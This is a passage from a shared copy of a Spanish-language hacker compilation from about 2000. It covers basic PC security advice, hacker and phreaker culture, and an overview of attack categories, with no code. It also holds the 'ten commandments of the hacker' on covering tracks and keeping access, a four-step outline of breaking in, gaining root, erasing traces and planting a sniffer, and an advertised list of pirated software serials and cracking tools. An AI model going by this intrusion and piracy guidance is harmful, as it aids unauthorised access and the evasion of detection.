Kupdf.net_el-libro-negro-del-hacker-parte-1-de-2.pdf

  • Uploaded by: Jesus M Ayala Varela
  • 0
  • 0
  • February 2021
  • PDF

This document was uploaded by user and they confirmed that they have the permission to share it. If you are author or own the copyright of this book, please report to us by using this DMCA report form. Report DMCA


Overview

Download & View Kupdf.net_el-libro-negro-del-hacker-parte-1-de-2.pdf as PDF for free.

More details

  • Words: 170,481
  • Pages: 500
Loading documents preview...
El Libro Negro del Hacker (Versión Digital) Por: “Black Hack” (“El hacker Negro”)

Fascinante obra digital equivalente a más de 1.000 páginas escritas. Recorrido completo y profundo por el Mundo Hacker: su esencia, sus procedimientos y métodos, herramientas, programas y utilidades, con amplias explicaciones. Los mejores escritos hacker en idioma Español. Cómo defender su PC de “Ataques” externos, virus, troyanos, escaneo de puertos, aplicaciones perniciosas. Cuatro discos llenos de información, utilidades, vínculos a páginas Web.

Contenido Disco 1: -PRÓLOGO por “El Hacker Negro” -Medidas de Seguridad para su sistema de cómputo -INTRODUCCIÓN: El Hacker –Manual -Todo sobre la IP -Crackeando Webs -Qué es el “Sniffin” -Hackeando vía TELNET -Qué es el “Spoofing” -Cómo se hacen los VIRUS

2

Disco 2: -Amenazas en la Red -INGENIERÍA INVERSA -Agujeros de seguridad informática -Entrar en Pc’s con recursos compartidos -Guía del CRACKER: manejo de ensamblador -Apodérate de ICQ -Cifrado de información -Cómo sacar la IP en IRC -Cómo liberarse de un virus TROYANO -Manual del IRC -Manual del Back Oriffice -Navegando anónimamente bajo Proxys -Crackeando sistemas -Identificación como Root Disco 3: (Utilidades) -Descifrador de passwords PWL -Descifrador de asteriscos en passwords -Descifrando passwords del CMOS -Encripta tus archivos (programa Crypto) -Gran número de seriales de programas comerciales -Guía ligera del Hacker -IP AGENT -Lista completa de puertos de un sistema -OPTOUT2000: Detector de Intrusos (instálalo en tu sistema para comenzar-es Freeware). -Usa la “fuerza bruta” para adivinar claves en archivos ZIP Disco 4: (Utilidades) -BIOS CRACKER: encuentra passwords de BIOS (por ejemplo, en portátiles) -Elimina los 30 días de los programas shareware -Monitorea tu Acceso Telefónico a Redes  Ediciones Digitales Colombia Recomendamos no copiar los discos en disquetes Nuestro e-mail: [email protected]

¡Hola Amigo! : Me llaman “Black Hack”, o “El Hacker Negro”. He accedido a que los amigos de Ediciones Hacker-Colombia publiquen por primera vez esta edición de El Libro Negro del Hacker, que es primicia en Latinoamérica, porque me han garantizado que no pretenden grandes ganancias con su publicación, y que su principal deseo es el de ofrecer a los innumerables usuarios de sistemas de cómputo y de Internet una información básica y sólida sobre los problemas de seguridad que se presentan día a día y sobre cómo pueden ser atacados por otros sistemas de cómputo. Desean también ofrecer unas utilidades y herramientas fundamentales para que el navegante conozca cómo puede ser violada su seguridad informática, y cómo puede defenderse. El propósito es loable, educativo, constructivo. No te recomiendo usar estos conocimientos y herramientas para atacar a otros. Puede constituirse en un delito. Muchas proezas legendarias me atribuyen. Pero son sólo eso. Son muchas más las que no se conocen. Pero lo que sí puedo decirles es que si bien soy negro de nombre... ¡ soy blanco de corazón ¡

¿QUÉ ES ESTE LIBRO? Este Libro es una recopilación de lo que considero son los mejores y más didácticos materiales en lengua española sobre los distintos temas Hacker. Este libro digital comprende el equivalente a más de 1.000 páginas de un libro en papel. En muchos de sus materiales, hay aportes míos. Algunos han sido escritos por mí en su totalidad. Es completo en cuanto abarca prácticamente toda la temática Hacker, y quien lo lea íntegramente podrá sentir confianza en que maneja el tema.

2

Pero quiero hacerte ante todo una prevención: ¡antes de utilizar alguna

de las herramientas del capítulo (carpeta) de UTILIDADES (el último de la serie), debes leer y aplicar las MEDIDAS y PRECAUCIONES que se explican en la próxima carpeta denominada “B. MEDIDAS DE SEGURIDAD”. ¿Por qué debes hacerlo? Porque así evitarás ser atacado, infectado por los violentos virus TROYANOS y de otras clases, y podrás navegar con mayor seguridad por los sitios hacker en Internet. Valga decir que en este LIBRO, es decir, en estos 4 disquetes (libro en edición digital), no hay ninguna clase de virus, ni programa malicioso o dañino para su PC. ¡Esto te lo puedo garantizar¡

¡NO RECOMIENDO NAVEGAR POR SITIOS HACKER EN INTERNET SIN LAS DEBIDAS MEDIDAS DE SEGURIDAD! Después de haber aplicado en debida forma dichas medidas y precauciones, puedes leer los otros capítulos en el orden que quieras, practicar las UTILIDADES que contienen los disquetes 3 y 4, y si lo deseas, entrar en los sitios Web que te sugerimos. Y una última petición: por favor, no copies estos discos. Son muy económicos y se expanden prácticamente al costo. Además, si los compras estás contribuyendo a la divulgación de este excitante tema. ¡Es un servicio! ¡Suerte Amigos! El Hacker Negro

1

¡Medidas de Seguridad! 1.) Ante todo, ármate de un buen antivirus ACTUALIZADO. En estos momentos la mayoría de ellos son muy buenos: Panda, Mcafee, Norton, etc. Pero si de dinero se trata y no tienes los 40 o más dólares para adquirirlo, te sugiero, por ejemplo, instalar el Pc-cillín 98 que generalmente viene con tu equipo, o con la Mother Board, o con algún componente que hayas comprado hace un tiempo. Instálalo y actualízalo. ¡Es fácil actualizarlo! Abre el rayito azul que está al pie del reloj de la ventana de Windows, haz clic en el botón “Main”, después en el botón “Update” (al lado izquierdo de la ventana), y después en actualizar por INTERNET. Si tienes conexión a Internet, el programa actualizará tu Pc-cillín en forma automática en unos 3 o 4 minutos, dependiendo de la velocidad de tu máquina. Luego te seguirá saliendo semanalmente (generalmente los martes) una ventana que te pregunta si quieres actualizar la nueva versión (cada semana se adicionan todos los virus nuevos). Dile que sí, pues no te tomará más de 3 o 4 minutos y estarás siempre protegido. Este antivirus, y también los otros, si están actualizados, detectan prácticamente todos los virus actuales y hasta los mortíferos Troyanos Back Oriffice, BO2000 (ó BO2k), NetBus, que son las herramientas de intromisión (¡intrusos!) más populares en la actualidad. ¡Si no actualizas tu antivirus, no debes entrar a ningún sitio Hacker, ni bajar de el ninguna utilidad o programa!

2

2.) Instala en tu máquina (así la llamamos nosotros) una utilidad de DETECCIÓN DE INTRUSOS. En la carpeta de UTILIDADES encontrarás una denominada OPTOUT2000, que es Freeware (gratuita), de la firma Gibson Research Corp. (www.grc.com). Esta utilidad no dejará que te instalen en el registro de tu sistema operativo ningún Troyano, espía, o programa furtivo. Paséate por esta página y lee el extenso artículo de Gibson sobre cómo diariamente los navegantes son atacados, intervenidos e infectados por las mismas EMPRESAS MULTINACIONALES dedicadas a los productos informáticos. ¿Sabías, por ejemplo, que si bajas algún programa de REAL NETWORK (los de Real Player, Flash, en fin), NetZip o por medio de Netscape download, automáticamente te están instalando en el registro de tu MÁQUINA un programa espía? Pues bien, Gibson lo sostiene y lo sustenta con pruebas muy sólidas. ¡Léelo!

3.) Instala igualmente el IP AGENT, que también se encuentra en la carpeta de UTILIDADES. Es de la misma firma. Esta utilidad te mostrará cuál es el número de tu IP (que identifica tu máquina cuando estás navegando), y te da la maravillosa opción, muy segura por cierto, de que en la página de Gibson te hagan un diagnóstico de seguridad de tu máquina, de tus puertos, y te digan cuáles son tus debilidades que permiten el ATAQUE de intrusos (cuando estás navegando). Si este diagnóstico te señala que tienes un puerto o varios abiertos a los Hackers de la Web, acude a la LISTA DE PUERTOS que está en la carpeta de UTILIDADES y podrás determinar cuál es. 4.) Te recomiendo otro DETECTOR DE INTRUSOS, pero este si no es freeware, sino demo por 30 días. Es el JAMMER.EXE (1.59 Mb). No está en nuestra carpeta de UTILIDADES, pero puedes bajarlo de la página www.agnitum.com Es fantástico. Cuando estás navegando y si recibes un ATAQUE externo, te previene inmediatamente y te dice desde cual IP te están atacando. Entonces, puedes identificar al atacante, pedirle explicaciones....¡o demandarlo! 5.) ¿Sabes cuál es el IP de tu máquina cuando estás navegando? Averígualo así: Inicio....Ejecutar....c:\windows\winipcfg.exe Te dirá

3

entonces el nombre de tu máquina, tu Identificación IP cuando navegas y otras cositas importantes. 6.) Instala un “Firewall” (muro de fuego) en tu máquina. Claro... ¡gratuito!. Esto es urgente y sumamente importante. Diariamente, mientras navegas, estás siendo escaneado por infinidad de personas y empresas de todo el mundo, para determinar por cual puerto pueden penetrar tu sistema. El muro de fuego te avisará inmediatamente que ha repelido un escaneo de tu máquina, te dará información para identificar el intruso, y también te pedirá confirmación cuando algún programa intente cambiar tu registro o conectarse con Internet. Por ejemplo, si tu antivirus se va a actualizar automáticamente, por ejemplo Pc-cillin, te saldrá una ventana preguntándote si autorizas que “Iomon” (el de Pccillin) acceda a Internet. Te sugiero instalar el mejor “Firewall” del momento para PC (y es gratuito): Zone Alarm 2.1.44 Conéctate con la página www.zonelabs.com y en la página de inicio, parte izquierda, encontrarás la frase “FREE DOWNLOAD”. Haz clic en “Download Zone Alarm now¡”. Bajarás un archivo Zip de 1.61 Mb que te permitirá instalar esta magnífica protección.

Buen Viaje, amigo Bogotá, Octubre 27 del 2.000 “Black Hacker”

Ediciones Hacker-Colombia Prohibida la reproducción parcial o total de este Libro Email: [email protected]

1 Los Hackers Elaborado por 5 amigos de “Black Hack” (El Hacker Negro)

INTRODUCCIÓN

Los piratas ya no tienen un parche en su ojo ni un garfio en reemplazo de la mano. Tampoco existen los barcos ni los tesoros escondidos debajo del mar. Llegando al año 2000, los piratas se presentan con un cerebro desarrollado, curioso y con muy pocas armas: una simple computadora y una línea telefónica. Hackers. Una palabra que aún no se encuentra en los diccionarios pero que ya suena en todas las personas que alguna vez se interesaron por la informática o leyeron algún diario. Proviene de "hack", el sonido que hacían los técnicos de las empresas telefónicas al golpear los aparatos para que funcionen. Hoy es una palabra temida por empresarios, legisladores y autoridades que desean controlar a quienes se divierten descifrando claves para ingresar a lugares prohibidos y tener acceso a información indebida. Sólo basta con repasar unas pocas estadísticas. Durante 1997, el 54 por ciento de las empresas norteamericanas sufrieron ataques de Hackers en sus sistemas. Las incursiones de los piratas informáticos, ocasionaron pérdidas totales de 137 millones de dólares en ese mismo año. El Pentágono, la CIA, UNICEF, La ONU y demás organismos mundiales han sido víctimas de intromisiones por parte de estas personas que tienen muchos conocimientos en la materia y también una gran capacidad para resolver los obstáculos que se les presentan *. Un hacker puede tardar meses en vulnerar un sistema ya que son cada vez más sofisticados. Pero el lema es viejo: hecha la ley, hecha la trampa. ¿Delincuentes? Los medios de comunicación masivos prefieren tildarlos de delincuentes que interceptan códigos de tarjetas de crédito y los utilizan para beneficio propio. También están los que se intrometen en los sistemas de aeropuertos produciendo un caos en los vuelos y en los horarios de los aviones. Pero he aquí la gran diferencia en cuestión. Los crackers (crack=destruir) son aquellas personas que siempre buscan molestar a otros, piratear software protegido por leyes, destruir sistemas muy complejos mediante la transmisión de poderosos virus, etc. Esos son los crackers. Adolescentes inquietos que aprenden rápidamente este complejo oficio. Se diferencian con los Hackers porque no poseen ningún tipo de ideología cuando realizan sus "trabajos". En cambio, el principal objetivo de los Hackers no es convertirse en delincuentes sino "pelear contra un sistema injusto" utilizando como arma al propio sistema. Su guerra es silenciosa pero muy convincente. Definición El avance de la era informatica ha introducido nuevos terminos en el vocabulario de cada dia. Una de estas palabras, hacker, tiene que ver con los delitos informaticos. Todos estamos familiarizados con las historias de aquellos que consiguen entrar en las corporaciones informatizadas. Pero tenemos la impresion de que el termino "hacker" es uno de los peor entendidos, aplicados y, por tanto, usados en la era informatica.

2 La cultura popular define a los hackers como aquellos que, con ayuda de sus conocimientos informaticos consiguen acceder a los ordenadores de los bancos y de los negociados del gobierno. Bucean por informacion que no les pertenece, roban software caro y realizan transacciones de una cuenta bancaria a otra. Los criminologos, por otra parte, describen a los hackers en terminos menos halagadores. Donn Parker los denomina "violadores electronicos" y August Bequai los describe como "vandalos electronicos". Ambos, aunque aseveran que las actividades de los hackers son ilegales, eluden habilmente llamarlos "criminales informaticos". Hacen una clara distincion entre el hacker que realiza sus actividades por diversion y el empleado que de repente decide hacer algo malo. Por tanto, parece que tenemos una definicion en la que caben dos extremos: por un lado, el moderno ladron de bancos y por otro el inquieto. Ambas actividades (y todas las intermedias) son calificadas con el mismo término. Dificilmente se podria considerar esto como un ejemplo de conceptualizacion precisa. Una gran parte de esta ambigüedad puede seguirse desde el origen durante estos aproximadamente 20 años de vida del mencionado término. El termino comenzo a usarse aplicandolo a un grupo de pioneros de la informatica del MIT, a principios de la decada de 1960. Desde entonces, y casi hasta finales de la decada de 1970, un hacker era una persona obsesionada por conocer lo mas posible sobre los sistemas informaticos. Los diseñadores del ordenador Apple, Jobs y Wozniack, pueden considerarse hackers en este sentido de la palabra. Pero a principios de la decada de 1980, influenciados por la difusion de la pelicula Juegos de Guerra, y el ampliamente publicado arresto de una "banda de hackers" conocida como la 414, los hackers pasaron a ser considerados como chicos jovenes capaces de violar sistemas informaticos de grandes empresas y del gobierno. Desgraciadamente, los medios de informacion y la comunidad cientifica social no ha puesto mucho esfuerzo por variar esta definicion. ¿Una definición Legal? El problema para llegar a una definicion mas precisa radica, tanto en la poca informacion que hay sobre sus actividades diarias, como en el hecho de que lo que se conoce de ellos no siempre cabe bajo las etiquetas de los delitos conocidos. Es decir, no hay una definicion legal que sea aplicable a los hackers, ni todas sus actividades conllevan la violacion de las leyes. Esto lleva a que la aplicacion del termino varie segun los casos, dependiendo de los cargos que se puedan imputar y no a raiz de un claro entendimiento de lo que el termino significa. Este problema, y la falta de entendimiento de lo que significa ser un hacker, convierten a esta en una etiqueta excesivamente utilizada para aplicar a muchos tipos de intrusiones informaticas. Parker y Bequai, dos lideres en el estudio de los delitos informaticos, utilizan el termino "hacker" de formas ligeramente diferentes. Parker reconoce que hacking no abarca todo el rango de actividades asociadas a la violacion de los sistemas informaticos, pero lo prefiere al termino "phreaking", que considera muy oscuro. Por otra parte, Bequai no rechaza el termino "phreaking" y a menudo lo aplica a hechos que Parker califica como de hacker. Bequai confunde aun mas el termino al definir al hacker como alguien que utiliza ilegalmente las tarjetas de credito telefonico para acceder a sistemas que distribuyen software comercial ilegalmente. Veremos que esto tiene poco que ver con las actuaciones propias de los hackers, pero es ilustrativa de otros tipos de actividades informaticas inusuales. Los terminos, "hacker", "phreaker" y "pirata" se presentan y definen tal y como los entienden aquellos que se identifican con estos papeles. En primer lugar, el area de los hackers. En la tradicion de esta comunidad informatica, el hacker puede realizar dos tipos de actividades: bien acceder a un sistema informatico, o bien algo mas general, como explorar y aprender a utilizar un sistema informatico. En la primera connotacion, el termino lleva asociados las herramientas y trucos para obtener cuentas de usuarios validos de un sistema informatico, que de otra forma serian inaccesibles para los hackers. Se podria pensar que esta palabra esta intimamente relacionada con la naturaleza repetitiva de los intentos de acceso.

3 Ademas, una vez que se ha conseguido acceder, las cuentas ilicitas a veces compartidas con otros asociados, denominandolas "frescas". He aqui la vision estereotipada de los medios de comunicacion de los hackers un joven de menos de veinte años, con conocimientos de informatica, pegado al teclado de su ordenador, siempre en busca de una cuenta no usada o un punto debil en el sistema de seguridad. Aunque esta vision no es muy precisa, representa bastante bien el aspecto del termino. La segunda dimension del mencionado termino se ocupa de lo que sucede una vez que se ha conseguido acceder al sistema cuando se ha conseguido una clave de acceso. Como el sistema esta siendo utilizado sin autorizacion, el hacker no suele tener, el terminos generales, acceso a los manuales de operacion y otros recursos disponibles para los usuarios legitimos del sistema. Por tanto, el usuario experimenta con estructuras de comandos y explora ficheros para conocer el uso que se da al sistema. En oposicion con el primer aspecto del termino, aqui no se trata solo de acceder al sistema (aunque alguno podria estar buscando niveles de acceso mas restringidos), sino de aprender mas sobre la operacion general del sistema. Contrariamente a lo que piensan los medios de comunicacion, la mayoria de los hackers no destruyen y no dañan deliberadamente los datos. El hacerlo iria en contra de su intencion de mezclarse con el usuario normal y atraeria la atencion sobre su presencia, haciendo que la cuenta usada sea borrada. Despues de gastar un tiempo sustancioso en conseguir la cuenta, el hacker pone una alta prioridad para que su uso no sea descubierto. Ademas de la obvia relacion entre las dos acepciones, la palabra "hacker" se reserva generalmente a aquellos que se dedican al segundo tipo. En otras palabras, un hacker es una persona que tiene el conocimiento, habilidad y deseo de explorar completamente un sistema informatico. El mero hecho de conseguir el acceso (adivinando la clave de acceso) no es suficiente para conseguir la denominacion. Debe haber un deseo de liderar, explotar y usar el sistema despues de haber accedido a él. Esta distincion parece logica, ya que no todos los intrusos mantienen el interes una vez que han logrado acceder al sistema. En el submundo informatico, las claves de acceso y las cuentas suelen intercambiarse y ponerse a disposicion del uso general. Por tanto, el hecho de conseguir el acceso puede considerarse como la parte "facil", por lo que aquellos que utilizan y exploran los sistemas son los que tienen un mayor prestigio. La segunda actividad es la de los phreakers telefonicos. Se convirtio en una actividad de uso comun cuando se publicaron las aventuras de John Draper, en un articulo de la revista Esquire, en 1971. Se trata de una forma de evitar los mecanismos de facturacion de las compañías telefonicas. Permite llamar a de cualquier parte del mundo sin costo practicamente. En muchos casos, tambien evita, o al menos inhibe, la posibilidad de que se pueda trazar el camino de la llamada hasta su origen, evitando asi la posibilidad de ser atrapado. Par la mayor parte de los miembros del submundo informatico, esta es simplemente una herramienta para poder realizar llamadas de larga distancia sin tener que pagar enormes facturas. La cantidad de personas que se consideran phreakers, contrariamente a lo que sucede con los hackers, es relativamente pequeña. Pero aquellos que si se consideran phreakers lo hacen para explorar el sistema telefonico. La mayoria de la gente, aunque usa el telefono, sabe muy poco acerca de él. Los phreakers, por otra parte, quieren aprender mucho sobre el. Este deseo de conocimiento lo resume asi un phreaker activo: "El sistema telefonico es la cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion. Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compañías. El tener acceso a las cosas de estas empresas, como manuales, etc., debe ser grandioso".

4 La mayoria de la gente del submundo no se acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para otros fines. En este caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker, explicaba: "Se muy poco sobre teléfonos simplemente soy un hacker. Mucha gente hace lo mismo. En mi caso, hacer de phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo". En el submundo informatico, la posibilidad de actuar asi se agradece, luego llego el uso de la tarjeta telefonica. Estas tarjetas abrieron la puerta para realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con marcacion por tonos y un numero de una de esas tarjetas, y con eso se puede llamar a cualquier parte del mundo. De igual forma que los participantes con más conocimientos y motivacion son llamados hackers, aquellos que desean conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta limitada a los phreakers, pero no es suficiente para merecer la distincion. Finalmente llegamos a la "telepirateria" del software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No nos refiererimos a la copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones, incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos basta para "merecer" el titulo. La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales, y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el último programa de juegos. Un hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito telefonicas. "Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de las grandes compañías de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Los hackers representan solo una pequeña parte de estas perdidas. El resto esta causado por "los piratas y ladrones que venden estos codigos en la calle." Otro hacker explica que el proceso de intercambiar grandes programas comerciales por modem normalmente lleva varias horas, y son estas llamadas, y no las que realizan los "entusiastas de telecomunicaciones", las que preocupan a las compañias telefonicas. Pero sin considerar la ausencia de conocimientos especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los hackers / phreakers y los telepiratas. Despues de haber descrito los tres papeles del submundo informatico, podemos ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta

5 de credito telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un phreaker. En todo esto hay una serie de avisos. No se quiere dar la impresion de que un individuo es un hacker, un phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos individuos son capaces de actuar en mas de uno de estos papeles. Se cree que la respuesta se encuentra en buscar los objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo que la compañía telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software más moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos, cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata. En cierto modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose. Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es más que impreciso, ignora las relaciones funcionales y diferencias entre ellos. Hay que admitir, de todas formas, que siempre habra alguien que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion, quedó de manifiesto que los individuos que realizan actualmente estas actividades no se ponen de acuerdo en cuanto a donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos. En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan. Las tipologias que he presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa, especificacion e identificacion de las actividades que se dan en el submundo de la informatica. QUE SE NESECITA PARA SER UN HACKER Uno puede estar preguntándose ahora mismo si los hackers necesitan caros equipos informáticos y una estantería rellena de manuales técnicos. La respuesta es NO! ,Hackear puede ser sorprendentemente fácil, mejor todavía, si se sabe cómo explorar el World Wide Web, se puede encontrar casi cualquier información relacionada totalmente gratis. De hecho, hackear es tan fácil que si se tiene un servicio on-line y se sabe cómo enviar y leer un email, se puede comenzar a hackear inmediatamente. A continuación se podrá encontrar una guía dónde puede bajarse programas especialmente apropiados para el hacker sobre Windows y que son totalmente gratis. Y trataremos también de explicar algunos trucos de hacker sencillos que puedan usarse sin provocar daños intencionales.

6 LOS DIEZ MANDAMIENTOS DEL HACKER I. Nunca destroces nada intencionalmente en la Computadora que estés crackeando. II. Modifica solo los archivos que hagan falta para evitar tu detección y asegurar tu acceso futuro al sistema. III. Nunca dejes tu dirección real, tu nombre o tu teléfono en ningún sistema. IV. Ten cuidado a quien le pasas información. A ser posible no pases nada a nadie que no conozcas su voz, número de teléfono y nombre real. V. Nunca dejes tus datos reales en un BBS, si no conoces al sysop, déjale un mensaje con una lista de gente que pueda responder de ti. VI. Nunca hackees en computadoras del gobierno. El gobierno puede permitirse gastar fondos en buscarte mientras que las universidades y las empresas particulares no. VII. No uses BlueBox a menos que no tengas un servicio local o un 0610 al que conectarte. Si se abusa de la bluebox, puedes ser cazado. VIII. No dejes en ningún BBS mucha información del sistema que estas crackeando. Di sencillamente "estoy trabajando en un UNIX o en un COSMOS...." pero no digas a quien pertenece ni el teléfono. IX. No te preocupes en preguntar, nadie te contestara, piensa que por responderte a una pregunta, pueden cazarte a ti, al que te contesta o a ambos. X. Punto final. Puedes pasearte todo lo que quieras por la WEB, y mil cosas mas, pero hasta que no estés realmente hackeando, no sabrás lo que es.

PASOS PARA HACKEAR 1. Introducirse en el sistema que tengamos como objetivo. 2. Una vez conseguido el acceso, obtener privilegios de root (superusuario). 3. Borrar las huellas. 4. Poner un sniffer para conseguir logins de otras personas.

7 ATAQUES A NUESTRA INFORMACIÓN, ¿CUALES SON LAS AMENAZAS? El objetivo es describir cuales son los métodos más comunes que se utilizan hoy para perpetrar ataques a la seguridad informática (confidencialidad, integridad y disponibilidad de la información) de una organización o empresa, y que armas podemos implementar para la defensa, ya que saber cómo nos pueden atacar (y desde donde), es tan importante como saber con que soluciones contamos para prevenir, detectar y reparar un siniestro de este tipo. Sin olvidar que éstas últimas siempre son una combinación de herramientas que tienen que ver con tecnología y recursos humanos (políticas, capacitación). Los ataques pueden servir a varios objetivos incluyendo fraude, extorsión, robo de información, venganza o simplemente el desafío de penetrar un sistema. Esto puede ser realizado por empleados internos que abusan de sus permisos de acceso, o por atacantes externos que acceden remotamente o interceptan el tráfico de red. A esta altura del desarrollo de la "sociedad de la información" y de las tecnologías computacionales, los piratas informáticos ya no son novedad. Los hay prácticamente desde que surgieron las redes digitales, hace ya unos buenos años. Sin duda a medida que el acceso a las redes de comunicación electrónica se fue generalizando, también se fue multiplicando el número de quienes ingresan "ilegalmente" a ellas, con distintos fines. Los piratas de la era cibernética que se consideran como una suerte de Robin Hood modernos y reclaman un acceso libre e irrestricto a los medios de comunicación electrónicos. Genios informáticos, por lo general veinteañeros, se lanzan desafíos para quebrar tal o cual programa de seguridad, captar las claves de acceso a computadoras remotas y utilizar sus cuentas para viajar por el ciberespacio, ingresar a redes de datos, sistemas de reservas aéreas, bancos, o cualquier otra "cueva" más o menos peligrosa. Como los administradores de todos los sistemas, disponen de herramientas para controlar que "todo vaya bien", si los procesos son los normales o si hay movimientos sospechosos, por ejemplo que un usuario esté recurriendo a vías de acceso para las cuales no está autorizado o que alguien intente ingresar repetidas veces con claves erróneas que esté probando. Todos los movimientos del sistema son registrados en archivos, que los operadores revisan diariamente.

MÉTODOS Y HERRAMIENTAS DE ATAQUE En los primeros años, los ataques involucraban poca sofisticación técnica. Los insiders (empleados disconformes o personas externas con acceso a sistemas dentro de la empresa) utilizaban sus permisos para alterar archivos o registros. Los outsiders (personas que atacan desde afuera de la ubicación física de la organización) ingresaban a la red simplemente averiguando una password válida. A través de los años se han desarrollado formas cada vez más sofisticadas de ataque para explotar "agujeros" en el diseño, configuración y operación de los sistemas. Esto permitó a los nuevos atacantes tomar control de sistemas completos, produciendo verdaderos desastres que en muchos casos llevo a la desaparición de aquellas organizaciones o empresas con altísimo grado de dependencia tecnológica (bancos, servicios automatizados, etc). Estos nuevos métodos de ataque han sido automatizados, por lo que en muchos casos sólo se necesita conocimiento técnico básico para realizarlos. El aprendiz de intruso tiene acceso ahora a numerosos programas y scripts de numerosos "hacker" bulletin boards y web sites, donde además encuentra todas las instrucciones para ejecutar ataques con las herramientas disponibles.

8 Los métodos de ataque descriptos a continuación están divididos en categorías generales que pueden estar relacionadas entre sí, ya que el uso de un método en una categoría permite el uso de otros métodos en otras. Por ejemplo: después de crackear una password, un intruso realiza un login como usuario legítimo para navegar entre los archivos y explotar vulnerabilidades del sistema. Eventualmente también, el atacante puede adquirir derechos a lugares que le permitan dejar un virus u otras bombas lógicas para paralizar todo un sistema antes de huir. EAVESDROPPING Y PACKET SNIFFING Muchas redes son vulnerables al eavesdropping, o la pasiva intercepción (sin modificación) del tráfico de red. En Internet esto es realizado por packet sniffers, que son programas que monitorean los paquetes de red que estan direccionados a la computadora donde estan instalados. El sniffer puede ser colocado tanto en una estacion de trabajo conectada a red, como a un equipo router o a un gateway de Internet, y esto puede ser realizado por un usuario con legítimo acceso, o por un intruso que ha ingresado por otras vías. Existen kits disponibles para facilitar su instalación. Este método es muy utilizado para capturar loginIDs y passwords de usuarios, que generalmente viajan claros (sin encriptar) al ingresar a sistemas de acceso remoto (RAS). También son utilizados para capturar números de tarjetas de crédito y direcciones de email entrante y saliente. El análisis de tráfico puede ser utilizado también para determinar relaciones entre organizaciones e individuos. SNOOPING Y DOWNLOADING Los ataques de esta categoría tienen el mismo objetivo que el sniffing, obtener la información sin modificarla. Sin embargo los métodos son diferentes. Además de interceptar el tráfico de red, el atacante ingresa a los documentos, mensajes de e-mail y otra información guardada, realizando en la mayoría de los casos un downloading de esa información a su propia computadora. El Snooping puede ser realizado por simple curiosidad, pero también es realizado con fines de espionaje y robo de información o software. Los casos más resonantes de este tipo de ataques fueron: el robo de un archivo con más de 1700 números de tarjetas de crédito desde una compañía de música Mundialmente famosa, y la difusión ilegal de reportes oficiales reservados de las Naciones Unidas, acerca de la violación de derechos humanos en algunos países europeos en estado de guerra. TAMPERING O DATA DIDDLING Esta categoría se refiere a la modificación desautorizada a los datos, o al software instalado en un sistema, incluyendo borrado de archivos. Este tipo de ataques son particularmente serios cuando el que lo realiza ha obtenido derechos de administrador o supervisor, con la capacidad de disparar cualquier comando y por ende alterar o borrar cualquier información que puede incluso terminar en la baja total del sistema en forma deliverada. O aún si no 